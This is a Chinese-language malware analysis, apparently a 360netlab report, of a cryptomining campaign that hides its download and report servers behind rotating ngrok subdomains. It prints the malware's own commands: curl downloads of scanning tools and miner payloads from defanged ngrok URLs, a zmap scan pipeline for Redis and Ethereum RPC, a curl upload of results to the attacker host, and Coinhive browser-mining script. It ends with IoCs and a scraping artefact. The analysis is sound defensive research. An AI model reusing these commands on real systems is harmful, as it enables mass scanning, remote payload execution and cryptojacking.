利用ngrok传播样本挖矿 | xxx利用ngrok传播样本挖矿 – xxx
菜单

利用ngrok传播样本挖矿

九月 11, 2018 - 360netlab

概述

“链治百病,药不能停”。时下各种挖矿软件如雨后春笋层出不穷,想把他们都灭了,那是不可能的,这辈子都不可能的。通常我们都忽略他们。但这个利用ngrok生成大量随机域名作为Downloader和Report域名,对抗安全设施阻断其域名,隐藏真实服务器地址的挖矿恶意样本成功的引起了我们的注意。

该恶意样本的主要特点是:

Ngrok

ngrok是一个反向代理,其核心概念是作为一个转发服务器,将公网请求转发到内网指定的端口上,让内网资源得以在公网上访问。其工作原理如下图:

图1:ngrok工作原理

域名更替

从我们的数据看,该样本大概8小时左右更换一批新的Downloader,Report域名,更替期间活跃域名数量在100左右。下图是该挖矿样本最近48小时所使用的各个域名我们能成功从该域名上下回来样本的次数的Heatmap。

图2:域名更替周期

Scanner

由Loader植入,植入时生成待扫描IP范围,Report以及Downloader域名硬编码在Scanner脚本中。具体执行流程:

curl -m 120 -fks -o /usr/bin/zmap "hxxp://3a3c559e.ngrok.io/d8/zmap"   curl -m 120 -fks -o /usr/bin/jq "hxxp://53349e8c.ngrok.io/d8/jq"   curl -m 120 -fks -o /usr/bin/zgrab "hxxp://e5a22d36.ngrok.io/d8/zgrab"   
#curl -m 120 -fks -o /tmp/.p8545 "hxxp://cc8ef76b.ngrok.io/d8/p8545" POST / HTTP/1.1   Host: %s:8545   User-Agent: geth   Accept: */*   Content-Type: application/json   Content-Length: 60  {"jsonrpc":"2.0","method":"eth_accounts","params":[],"id":1} 
  #例如,扫描redis端口   PORT="6379"   echo -ne "info/r/nquit/r/n" >/tmp/rinfoa379f8ca   echo ";;${PORT}" > $OUT   /usr/bin/zmap -i $IFACE -B 50M --max-sendto-failures 1000000 -c5 -o- -p $PORT $IPR 2>>${LOGF} | zgrab --senders 100 --port $PORT --data /tmp/rinfoa379f8ca --output-file=- 2>/dev/null | grep 'redis_version' | jq -r .ip >> ${OUT} 
curl -m 120 -sk -F result=@${_FILE} "hxxp://cc8ef76b.ngrok.io/z?r={RIP}&i={i}&x=${excode}"   

Miner

Loader植入阶段生成Report,Downloader域名硬编码在Miner脚本中:

export HOST="hxxp://608f5b6c.ngrok.io"   

执行流程:

curl -fks -o $INSTALL/93b689 "$HOST/d8/fc"   $INSTALL/93b689 '///' >>201e3a252c5e 2>&1 & $INSTALL/93b689 '[^$I$^]' >>201e3a252c5e 2>&1 & 
curl -fks -o "${RIP}d" "$HOST/d8/daemon"   curl -fks -o dda4512010 "$HOST/d8/nginx"   cat dda4512010 |"${RIP}d"   
var js=document.createElement("script");   js.type="text/javascript";   js.src="hxxps://coinhive.com/lib/coinhive.min.js",   document.body.appendChild(js),   window.msci=setInterval(       function(){         var e="CoinHive";         if(window[e]){             clearInterval(window.msci);             var n=window[e].Anonymous;             window.__m1||(window.__m1=new n("U1EhkTAx8j1IVGH6KkzoHDuwPy42c7vW"))&&__m1.start()         }     },     200 ); 

挖矿配置如下:

矿池地址: pool.minexmr.com:55555 钱包地址: 4AuKPF4vUMcZZywWdrixuAZxaRFt9FPNgcv9v8vBnCtcPkHPxuGqacfPrLeAQWKZpNGTJzxKuKgTCa6LghSCDrEyJ5s7dnW  

IoC

MD5

md5=19e8679be6cfc56a529cf35df2dbece8    uri=hxxp://608f5b6c.ngrok.io/d8/daemon   md5=e309354fe7047a5fca3c774a427ae7a2    uri=hxxp://608f5b6c.ngrok.io/d8/fc   md5=39fcbe99c2d72006667be9bcc286db4e    uri=hxxp://608f5b6c.ngrok.io/d8/nginx   md5=510802ce144bb729c3c527d465321168    uri=hxxp://ce0a62ad.ngrok.io/f/serve?l=u&r={RIP}&curl=1   md5=072922760ec200ccce83ac5ce20c46ca    uri=hxxp://69c0c72e.ngrok.io/z?r={RIP}&i=2a6da41fcf36d873dde9ed0040fcf99ba59f579c3723bb178ba8a2195a11fb61cb6b669ed0f32fb9bdc891e64613e0caad46642f7a9b68ccea30244b4d0addf6d506be7e2c71c3c3793762e8e2a40117f62f0688cfad660a6f9529d3e17e183d769864ea45294d9dca4712ee73d5733   

Loader IP

194.99.105.76    ASAS9009    M247_Ltd   185.183.104.139    AS9009  M247_Ltd   185.242.6.4    AS9009  M247_Ltd   46.166.142.220    AS43350 NForce_Entertainment_B.V.   217.23.3.91    AS49981 WorldStream_B.V.   89.39.107.195    AS49981 WorldStream_B.V.   185.159.157.19    AS59898 AllSafe_Sarl   194.99.105.75    ASAS9009    M247_Ltd   109.201.133.24    AS43350 NForce_Entertainment_B.V.   217.23.3.92    AS49981 WorldStream_B.V.   46.166.142.215    AS43350 NForce_Entertainment_B.V.   89.39.107.192    AS49981 WorldStream_B.V.   109.201.133.22    AS43350 NForce_Entertainment_B.V.   89.39.107.202    AS49981 WorldStream_B.V.   89.39.107.199    AS49981 WorldStream_B.V.   109.201.133.26    AS43350 NForce_Entertainment_B.V.   

Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51